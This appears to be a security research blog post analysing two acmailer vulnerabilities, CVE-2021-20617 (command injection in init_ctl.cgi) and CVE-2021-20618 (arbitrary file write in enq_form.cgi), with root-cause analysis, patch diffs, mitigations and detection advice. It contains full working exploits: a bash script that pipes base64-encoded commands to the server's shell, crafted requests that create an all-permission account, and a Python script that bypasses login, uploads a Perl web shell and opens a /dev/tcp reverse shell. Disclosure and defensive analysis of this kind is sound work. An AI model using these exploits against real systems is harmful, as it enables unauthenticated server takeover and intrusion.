Introduction

In this post, one of our recent intern, Wang Hengyue (@w_hy_04) was given the task to analyse CVE-2021-20617 & CVE-2021-20618 in acmailer since there isn’t any public information on it. Today, we’ll be sharing his journey in dissecting the vulnerabilities in acmailer. Both vulnerabilities were originally found by ma.la

acmailer is a Perl-based email delivery application that provides functionality centered around sending mass emails, with associated functions such as registration and unregistration forms, surveys, and email templating.

acmailer also has an account system, which allows for the system administrator to create subaccounts and grant individualised permissions to each subaccount.

Now, let’s talk about the vulnerabilities that can be exploited in acmailer.

About CVE-2021-20617:

There is an OS Command Injection vulnerability found in the initialization functionality of acmailer and acmailer DB, which allows for remote command execution on the host of the vulnerable application.

Root Cause Analysis of CVE-2021-20617:

It was discovered that the file init_ctl.cgi in version 4.0.1 contains an OS Command Injection vulnerability. By exploiting it, an adversary is able to run commands on the server hosting the vulnerable application. An attacker would thus be able to compromise the entire machine hosting the application.

The following code is executed each time a POST request is made to http://TARGET_HOST/init_ctl.cgi:

# sendmailpathの中にqmailが含まれている場合はqmailにチェック
# (translation: if sendmailpath contains qmail, check qmail)
my $qmailpath = `ls -l $FORM{sendmail_path}`;
if ($qmailpath =~ /qmail/) {
$FORM{qmail} = 1;
}

By examining the POST request sent to init_ctl.cgi in normal usage after the initialization settings are completed, we observe that sendmail_path is one of the parameters sent.

POST /acmailer/init_ctl.cgi HTTP/1.1
Host: [internal IP]
Content-Length: 172
Origin: http://[internal IP]
Content-Type: application/x-www-form-urlencoded
Referer: http://172.18.0.2/acmailer/init_ctl.cgi
Connection: close

admin_name=username&
admin_email=mail%40email.com&
login_id=loginid&
login_pass=loginpw&
sendmail_path=sendmailpath&
homeurl=http%3A%2F%2Fexample.com&
mypath=env%2F

The parameter sendmail_path is used directly in the executed system command:

`ls -l $FORM{sendmail_path}`

Thus allowing command injection to take place. For example, by altering the parameter in the request to:

sendmail_path=|touch /tmp/pwned

The server will execute the shell command:

ls -l |touch /tmp/pwned

The success of remote code execution can be checked by observing that a file is created at /tmp/pwned on the server’s filesystem through

ls /tmp/pwned

Exploit Conditions for CVE-2021-20617:

This vulnerability can be exploited as long as the init_ctl.cgi file is still present on the server and requires no authentication.

Patch Analysis for CVE-2021-20617:

There are 3 changes in init_ctl.cgi between versions 4.0.1 and 4.0.2:

+ my $admindata = $objAcData->GetAdminData(); 
+ # acmailerがインストール済であればこのページは表示しない
+ # (translation: if acmailer is already installed, this page will not be displayed)
+ if ($admindata->{login_id} && $admindata->{login_pass}) { # [1]
+       print "Content-type: text/html\n\n";
+       die;
+ }

[1] checks for whether there is already admin data in the system, and if so, terminates the script execution. Additionally, from 4.0.2 onwards, due to a change in /tmpl/init.tmpl, loading the page init_ctl.cgi displays the following message:

"※インストール完了後は、「init_ctl.cgi」を削除してください。" 
(translation: "After installation is finished, please delete `init_ctl.cgi`.") 

Since most production settings will have initialization complete, the check at [1] will thus prevent attackers from accessing init_ctl.cgi, preventing exploitation of the vulnerability.

-       my $qmailpath = `ls -l $FORM{sendmail_path}`;
+       $FORM{sendmail_path} =~ s/'//g;
+       my $qmailpath = `ls -l '$FORM{sendmail_path}'`; # [2]

[2] strips single-quote characters from the path string, and encloses the filename in single quotes, preventing escape from the string within the executed command.

+       }
+ 
+       if($FORM{sendmail_path} && !-e $FORM{sendmail_path} ){ # [3]
+               push(@error, "・sendmailパスが存在しません。");
+       # (translation: "sendmail path does not exist.")

[3] adds an additional check within the function error_check to verify that the path provided refers to an actual file within the file system. As a command injection string is unlikely to be a valid path, this helps reduce the possibility of a successful command injection.

The patch is sufficient to prevent further exploitation; however, it does not appear very robust, as it partially relies on the user to manually delete the setup file. Even though the single-quotes within the command string are impossible to escape from, directly executing commands is poor practice,

Proof-of-concept for CVE-2021-20617:

Sending &, ', > or other special characters is difficult due to the server using EUC-JP encoding by default. Delivering the payload as a base64 encoded string is possible; however, whitespace padding may be necessary to ensure that the characters + and = are not present in the base64-encoded string.

This is a functional exploit bash-script that exploits the command injection vulnerability to run arbitrary commands on the target system. Please save the below script as proof_of_concept.sh.

host=$1
command=$2
base=$(echo "$command" | base64)
echo 'make sure the output does not contain + or =:'
echo $base
/usr/bin/curl -s -k -X 'POST' --data-binary "admin_name=u&[email protected]&login_id=l&login_pass=l&sendmail_path=|echo $base | base64 -d | bash&homeurl=http%3A%2F%2F&mypath=e" "${host}init_ctl.cgi"

Sample exploit usage is as follows:

./proof_of_concept.sh http://127.0.0.1/acmailer/ 'touch /tmp/pwned'

Output will be similar to:

make sure the output does not contain + or =:
dG91Y2gK
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="index.cgi">here</a>.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>

Suggested Mitigations for CVE-2021-20617:

According to the vendor advisory, a suggested workaround is to manually delete init_ctl.cgi. In addition, upgrading to version 4.0.2 and above of acmailer or version 1.1.5 and above of acmailerDB prevents exploitation of the vulnerability.

An additional mitigation would be to automatically delete init_ctl.cgi upon completion of inital setup, rather than relying on users to perform deletion.

Detection Guidance for CVE-2021-20617:

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all requests made to /init_ctl.cgi after initial setup, as this page is only used during initial setup.

About CVE-2021-20618:

There is an Arbitrary File Write via Uncontrolled File Path vulnerability found in the deprecated form functionality of acmailer and acmailer DB, which allows an unauthenticated user to append to any .cgi file accessible from the vulnerable application, and hence gain access to a subaccount with all permissions. Upon authenticating with an administrator account, an attacker can obtain Remote Code Execution by replacing the existing .cgi files using the administrative functionalities. In addition, there is a Privilege Escalation vulnerability in the logic of acmailer, which allows a user who has been granted certain permissions to take over the admin account on acmailer.

Root Cause Analysis of CVE-2021-20618:

It was discovered that the page enq_form.cgi within the deprecated survey functionality contains an External Control of File Name or Path vulnerability. By exploiting it, an adversary is able to append to any arbitrary .cgi file accessible by acmailer on the server hosting the vulnerable application.

The following code in enq_form.cgi calls InsData() each time a POST request is made to /enq_form.cgi:

# 更新 (Translation: "update")
$objAcData->InsData($FORM{enq_id}, 'ENQANS', \%FORM);

The following code in clsAcData.pm defines InsData:

# データ追加 (Translation: "Data Addition")
# 引 数:ファイル名 テーブル名 フォーム
# (Translation: "Arguments: filename tablename form")
# 戻り値:(Translation: "Return Value:")
sub InsData {
    my $this = shift;
    my $filename = shift;

   # ... (omitted for brevity)

    my $file = $this->{DATA_DIR}.$filename.".cgi";

    # 追加データを上書き (Translation: "overwrite additional data")
    $this->InsertFile($file, $regdata);
    return 1;
}

The first argument of this function is $filename, which determines the filename that is written to to store date. It is observed that in the InsData() call in /enq_form.cgi the first argument is determined by a POST parameter, and thus can be controlled by an attacker. It is observed that InsData() can only write to .cgi files.

A normal POST request to /enq_form.cgi looks like this:

POST /acmailer/enq_form.cgi HTTP/1.1
Host: 172.18.0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

answer_1=1&Submit=%C5%EA%B9%C6&id=1672295918137542&mail_id=admin&key=key&reg=1

It was observed that the id parameter is passed to InsData() as the first argument, and thus can be manually tampered with to change the file that InsData() writes to. It was also observed that the remaining parameters are appended to the file separated by a tab character.

As a result, an attacker can impact the availability of the service by writing to a .cgi file, causing the server to be unable to serve that page.

It was observed that on authenticated pages such as /admin_edit.cgi, the authentication flow contains this line:

my $LOGIN = logincheck($S{login_id},$S{login_pass}, $admindata);

The following code in common.pm defines logincheck():

# ログインチェック (Translation: "login check")
sub logincheck {
	my($login_id,$login_pass, $admindata)=@_;
	#... 
		# サブアカウント情報取得
		# (Translation: "Get subaccount Data")
		my $objAcData = new clsAcData($SYS->{data_dir});
		my @subaccount = $objAcData->GetData('subaccount', 'SUBACCOUNT');
		foreach my $ref(@subaccount) {
			# ...
	# ...
}

It is observed that logincheck() calls GetData() to check the veracity of the login details, which reads from file using the same format as InsData():

my @subaccount = $objAcData->GetData('subaccount', 'SUBACCOUNT');

Given that this call to GetData() is checking the filename subaccount.cgi, the earlier file write vulnerability can be used to append a new line to subaccount.cgi, creating a subaccount with all permissions that an attacker can use to log in.

For example, by sending the following POST request:

POST /acmailer/enq_form.cgi HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 166

answer_1=1&Submit=%C5%EA%B9%C6&id=subaccount&mail_id=id%09user%09pass%091%091%091%091%091%091%091%091%091%091%091%091%091%091%091%091%091%091%09&key=key&reg=1

The line id user pass 1 1 (...) 1 is appended to the file subaccount.cgi, creating a subaccount with id id, username user, password pass and all permission flags set to 1.

Once authenticated, the administrative feature to update various .cgi forms can be utilised to replace it with a perl web shell that executes arbitrary system commands. This function is found at /import.cgi and the following POST request would replace the form.cgi file:

POST /acmailer/import.cgi HTTP/1.1
Host: 127.0.0.1
Cookie: sid=fakecookie
Content-Length: 1222
Content-Type: multipart/form-data; boundary=1013797725142a3384269e72bf8f4c66

--1013797725142a3384269e72bf8f4c66
Content-Disposition: form-data; name="mode"

form
--1013797725142a3384269e72bf8f4c66
Content-Disposition: form-data; name="___sid"

fakecookie
--1013797725142a3384269e72bf8f4c66
Content-Disposition: form-data; name="data"; filename="data"


#!/usr/bin/perl -w
use strict;
my ($cmd, %FORM);
$|=1;
print "Content-Type: text/html\r\n";
print "\r\n";
# Get parameters
%FORM = parse_parameters($ENV{'QUERY_STRING'});
if(defined $FORM{'cmd'}) {
$cmd = $FORM{'cmd'};
...
--1013797725142a3384269e72bf8f4c66--

Thereafter, navigating to /form.cgi would reveal the uploaded web shell, allowing for code execution.

Exploit Conditions for CVE-2021-20618:

This vulnerability can be exploited as long as the enq_form.cgi file is still present on the server and requires no authentication. A form does not need to be created to exploit the vulnerability.

Patch Analysis for CVE-2021-20618:

The enq_*.cgi files, including enq_form.cgi, were deleted from version 4.0.3 of acmailer and version 1.1.5 of acmailerDB; as the old form system is deprecated. Thus, as enq_form.cgi no longer exists in versions newer than 4.0.3 or 1.1.5, newer versions are no longer vulnerable.

Proof-of-concept for CVE-2021-20618:

This is a functional exploit written in Python 3 that exploits the file write vulnerability to achieve remote code execution by creating a subaccount with all permissions on the target application and uploading a perl web shell.

#!/usr/bin/env python3

import random
import requests
import string
import sys

# Application Types
APP_ACMAILER_DB = 0
APP_ACMAILER = 1

# Perl Webshell
perl_webshell = """#!/usr/bin/perl -w
use strict;
my ($cmd, %FORM);
$|=1;
print "Content-Type: text/html\\r\\n";
print "\\r\\n";
# Get parameters
%FORM = parse_parameters($ENV{'QUERY_STRING'});
if(defined $FORM{'cmd'}) {
$cmd = $FORM{'cmd'};
}
print '<HTML><body><form action="" method="GET"><input type="text" name="cmd" size=20 value="' . $cmd . '"><input type="submit" value="Run"></form><pre>';
if(defined $FORM{'cmd'}) {
print "Results of '$cmd' execution:\\n\\n";
print "-"x80;
print "\\n";
open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";
while(<CMD>) {
    print;
}
close(CMD);
print "-"x80;
print "\\n";
}
print "</pre>";
sub parse_parameters ($) {
my %ret;
my $input = shift;
foreach my $pair (split('&', $input)) {
    my ($var, $value) = split('=', $pair, 2);
    if($var) {
    $value =~ s/\+/ /g ;
    $value =~ s/%(..)/pack('c',hex($1))/eg;

    $ret{$var} = $value;
    }
}
return %ret;
}"""

def check_args():
    # Usage
    if len(sys.argv) != 4:
        print("[+] Usage: {} http://target-site/ LHOST LPORT".format(sys.argv[0]))
        sys.exit(1)

def check_app_type(url):
    res = requests.get(url + "login.cgi")
    if "ACMAILER DB" in res.text:
        return APP_ACMAILER_DB
    elif "ACMAILER" in res.text:
        return APP_ACMAILER
    else:
        print("[-] Unable to determine application type. Is it acmailer or acmailerDB?")
        sys.exit(1)

def check_vuln(url, app_type):
    endpoint = url + "enq_form.cgi"
    res = requests.get(endpoint, allow_redirects=False)
    if res.status_code == 404:
        if app_type == APP_ACMAILER:
            print("[-] Vulnerable end-point {} does not exist! Is the acmailer version <= 4.0.2?".format(endpoint))
        elif app_type == APP_ACMAILER_DB:
            print("[-] Vulnerable end-point {} does not exist! Is the acmailerDB version <= 1.1.4?".format(endpoint))
        sys.exit(1)

def auth_bypass(url):
    endpoint = url + "enq_form.cgi"

    # Generate random creds
    username = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(6))
    password = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(6))
    cookie = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(6))

    # Create administrator account by appending to data/subaccount.cgi
    print("[+] Sending part 1 of 2 payload to {}...".format(endpoint))
    res = requests.post(endpoint, data="id=subaccount&mail_id=AA%09{}&key=CC&reg=DD&answer_={}".format(username, password))
    if res.status_code == 200:
        print("[+] Success!")
    else:
        print("[-] Failed to POST data to {}.".format(endpoint))
        sys.exit(1)

    # Create valid session file by appending to session/.limecookie.cgi
    print("[+] Sending part 2 of 2 payload to {}...".format(endpoint))
    res = requests.post(endpoint, data="id=../session/.{}&mail_id=;login_id%3D{};login_pass%3D{}&key=CC&reg=DD&answer_= ".format(cookie, username, password))
    if res.status_code == 200:
        print("[+] Success!")
    else:
        print("[-] Failed to POST data to {}.".format(endpoint))
        sys.exit(1)

    # Verify validity of session
    print("[+] Verifying that administrator session is valid...")
    res = requests.get(url + "import.cgi", cookies={"sid":"{}".format(cookie)})
    if res.status_code == 200:
        print("[+] Authentication bypass complete!")
    else:
        print("[-] Failed to bypass authentication.")
        sys.exit(1)

    return cookie

def send_payload(url, cookie, app_type):
    endpoint = url + "import.cgi"

    # Forms to overwrite
    acmailer_list = ['freecol', 'form', 'template', 'hist', 'autoform', 'enc']
    acmailerdb_list = ['form', 'template', 'enc']

    # Upload Perl Webshell to first available form:
    if app_type == APP_ACMAILER:
        vuln_forms = acmailer_list
    else:
        vuln_forms = acmailerdb_list
    uploaded = False
    for form in vuln_forms:
        print("[+] Attempting to upload webshell to {}.cgi...".format(form))
        res = requests.post(endpoint, data={"mode": "{}".format(form), "___sid": "{}".format(cookie)}, files={"data":perl_webshell}, cookies={"sid":"{}".format(cookie)})
        if res.status_code == 200:
            print("[!] Webshell uploaded at: {}data/{}.cgi".format(url, form))
            uploaded = True
            return form
    if not uploaded:
        print("[-] Failed to upload webshell via {}".format(endpoint))
        sys.exit(1)

    return None

def spawn_shell(url, form, lhost, lport):
    endpoint = url + "data/{}.cgi".format(form)
    print("[+] Attempting to spawn reverse shell...")
    try:
        res = requests.get(endpoint, params={"cmd":"bash -c 'bash -i >& /dev/tcp/{}/{} 0>&1'".format(lhost, lport)}, timeout=1)
        if res.status_code == 200 or res.status_code == 403:
            print("[-] Failed to spawn reverse shell.")
    except:
        print("[!] Incoming reverse shell at {}:{}!".format(lhost, lport))

def main():
    check_args()
    url = sys.argv[1]
    LHOST = sys.argv[2]
    LPORT = sys.argv[3]

    app_type = check_app_type(url)
    check_vuln(url, app_type)
    cookie = auth_bypass(url)
    form = send_payload(url, cookie, app_type)
    spawn_shell(url, form, LHOST, LPORT)

if __name__ == "__main__":
    main()

Sample exploit usage is as follows:

python3 poc.py http://127.0.0.1/acmailer/ <LISTENING_HOST> <LISTENING_PORT>

Output will be similar to:

$ python3 poc.py http://127.0.0.1/acmailer/ 127.0.0.1 8888
[+] Sending part 1 of 2 payload to http://127.0.0.1/acmailer/enq_form.cgi...
[+] Success!
[+] Sending part 2 of 2 payload to http://127.0.0.1/acmailer/enq_form.cgi...
[+] Success!
[+] Verifying that administrator session is valid...
[+] Authentication bypass complete!
[+] Attempting to upload webshell to form.cgi...
[!] Webshell uploaded at: http://127.0.0.1/acmailer/data/form.cgi
[+] Attempting to spawn reverse shell...
[!] Incoming reverse shell at 127.0.0.1:8888!

A reverse shell would be sent to the specified <LISTENING_HOST and <LISTENING_PORT>.

Suggested Mitigations for CVE-2021-20618:

According to the vendor advisory, a suggested workaround is to manually delete the enq_*.cgi files; that is, enq_detail.cgi, enq_detail_mail.cgi, enq_edit.cgi, enq_form.cgi and enq_list.cgi. Upgrading to version 4.0.3 and above of acmailer or version 1.1.5 and above of acmailerDB also prevents exploitation of the vulnerability by removing these files.

In actual fact, the only enq_*.cgi endpoint which is vulnerable to exploitation is enq_form.cgi, as the other enq_*.cgi files do not contain the InsData() sink. Thus, deleting enq_form.cgi is sufficient to prevent exploitation.

If upgrading acmailer is not possible, administrators should consider deleting enq_form.cgi manually to mitigate the vulnerability.

Conclusion

Last but not least, the author would like to thank his mentors (Poh Jia Hao & Ngo Wei Lin) for their support as well as assistance provided during this period taken to write the exploit and the blog post.